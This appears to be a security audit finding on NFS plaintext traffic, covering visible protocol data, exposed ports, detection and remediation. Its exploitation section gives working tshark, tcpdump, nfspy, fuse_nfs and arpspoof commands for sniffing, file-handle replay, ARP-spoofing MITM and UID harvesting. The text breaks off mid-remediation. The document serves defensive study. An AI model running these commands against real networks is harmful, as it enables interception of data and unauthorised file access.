F-3.1: Plaintext Wire Protocol — Sniffing and MITM¶
Classification¶
- Severity: Info
- CVSS Vector: Adjacent Network / Low Complexity / No Auth Required
- Affected Versions: NFSv2, NFSv3, NFSv4 without krb5p
- RFC Reference: RFC 1813 (no encryption mandate)
- Prerequisite: Network position to intercept traffic (ARP spoofing, switch SPAN, compromised router)
Summary¶
NFSv3 transmits all data in plaintext over the wire, including file contents, file metadata (UIDs, GIDs, permissions), directory listings, and authentication credentials (AUTH_SYS UID/GID). An attacker with network visibility can passively capture sensitive data, extract valid file handles for replay attacks, and gather the intelligence needed to mount active attacks against the NFS infrastructure.
Technical detail¶
What's visible on the wire¶
| Data Type | RPC Operation | Exploitable Information |
|---|---|---|
| File contents | READ/WRITE | Actual file data in cleartext |
| Credentials | All calls | UID, GID, hostname of every request |
| File handles | MOUNT reply, LOOKUP, CREATE | Persistent opaque tokens for file access |
| Directory trees | READDIRPLUS | Full directory listing with metadata |
| File metadata | GETATTR | Permissions, ownership, sizes, timestamps |
| Export paths | MOUNT request | Server directory structure |
| Client IPs | All traffic | Which machines access which exports |
| Symlink targets | READLINK | Internal path information |
| Lock state | NLM | Which files are actively used |
Protocol ports (attack surface)¶
NFSv3 uses multiple services, each on separate ports:
| Service | Default Port | Information Exposed |
|---|---|---|
| Portmapper (rpcbind) | 111/tcp,udp | All RPC service ports |
| mountd | Dynamic (often 892) | Export list, access rules, file handles |
| nfsd | 2049/tcp,udp | File operations, data, handles |
| NLM (lockd) | Dynamic | Lock state, active file usage |
| NSM (statd) | Dynamic | Client crash/recovery notifications |
| rquotad | Dynamic | Quota information |
Packet capture analysis¶
A single MOUNT + READDIRPLUS exchange reveals:
MOUNT Call: client=192.168.1.50 -> server=192.168.1.10
Export: /home/engineering
Auth: AUTH_UNIX uid=0 gid=0 hostname="workstation-42"
MOUNT Reply:
File Handle: 0x0100070065ac0a000000000019548b48...
Auth flavors: [AUTH_SYS]
READDIRPLUS Reply:
Entry: "alice" uid=1001 gid=1001 mode=0700 type=DIR
Entry: "bob" uid=1002 gid=1002 mode=0700 type=DIR
Entry: "charlie" uid=1003 gid=1003 mode=0750 type=DIR
Entry: "shared" uid=0 gid=100 mode=0775 type=DIR
From this single exchange, an attacker knows: - The export path and file handle (can be replayed) - All usernames and their UIDs (for UID spoofing) - Directory permissions (to identify accessible targets) - That AUTH_SYS is the only auth flavor (no Kerberos)
Exploitation¶
Method 1: Passive sniffing with tshark¶
# Capture NFS file handles
tshark -n -i eth0 -T fields \
-e ip.src -e ip.dst \
-e rpc.auth.uid -e rpc.auth.gid \
-e nfs.fhandle \
-Y "nfs"
# Capture file READ data
tshark -n -i eth0 -T fields \
-e nfs.name -e nfs.read.data \
-Y "nfs.opcode == 6" # READ procedure
# Extract mount information
tshark -n -i eth0 -T fields \
-e mount.path -e mount.fhandle \
-Y "mount"
Method 2: Reconstruct files from captures¶
# Capture full NFS traffic
tcpdump -i eth0 -w nfs_capture.pcap port 2049
# Extract file data using scapy or custom parser
python3 extract_nfs_files.py nfs_capture.pcap --output /tmp/recovered/
Method 3: File handle replay¶
# Sniff a file handle from wire traffic
tshark -n -i eth0 -T fields -e nfs.fhandle -Y "nfs" | head -1
# Output: 01:00:07:00:65:ac:0a:00:...
# Use the sniffed handle directly with NfSpy (bypasses mountd entirely)
nfspy -o server=target:,nfsport=2049/tcp,\
dirhandle=01:00:07:00:65:ac:0a:00:...,getroot /mnt
# Or use fuse_nfs
fuse_nfs /mnt/replay target --manual-fh 0100070065ac0a00... --fake-uid
Method 4: ARP spoofing + NFS interception¶
# Position as MITM between NFS client and server
arpspoof -i eth0 -t 192.168.1.50 192.168.1.10 # spoof server to client
arpspoof -i eth0 -t 192.168.1.10 192.168.1.50 # spoof client to server
# Forward traffic while capturing
echo 1 > /proc/sys/net/ipv4/ip_forward
tcpdump -i eth0 -w nfs_mitm.pcap "port 2049 or port 111"
# Could also modify traffic in transit (inject writes, alter reads)
Method 5: Intelligence gathering for targeted attacks¶
# From a single capture, extract everything needed for UID spoofing:
tshark -r capture.pcap -T fields \
-e rpc.auth.uid -e rpc.auth.gid -e rpc.auth.machinename \
-Y "rpc.auth.flavor == 1" | sort -u
# Output:
# 0 0 nfs-server
# 1000 1000 dev-workstation
# 1001 1001 alice-laptop
# 1002 100 bob-desktop
# Now spoof as any of these users
Impact¶
- Complete data exposure: All file contents readable by network observers
- Credential harvesting: UIDs, GIDs, hostnames for spoofing attacks
- File handle theft: Captured handles enable direct file access without mount
- Topology mapping: Client-server relationships, export paths, user assignments
- Active MITM: Modify file contents in transit (inject backdoors, alter configs)
- Lateral movement intel: Discover which users access which systems
Detection¶
- Detect ARP spoofing with tools like
arpwatchor switch port security - Network IDS can flag unexpected NFS traffic patterns
- Encrypted NFS (krb5p) traffic is distinguishable from plaintext — alert on unencrypted NFS
Remediation¶
-
Use krb5p (privacy): Encrypts all NFS traffic including file data
-
Network segmentation: Isolate NFS traffic to dedicated VLANs with no untrusted hosts
-
IPsec tunnels: Encrypt NFS traffic at the network layer when Kerberos isn't feasible
-
NFSv4 with RPC-over-TLS (RFC 9289): Experimental but provides transport encryption without Kerberos complexity
-
Switch hardening: Disable port mirroring, enable port security, use 802.1X
-
For NFSv3: At minimum use a VPN or SSH tunnel for cross-network NFS traffic: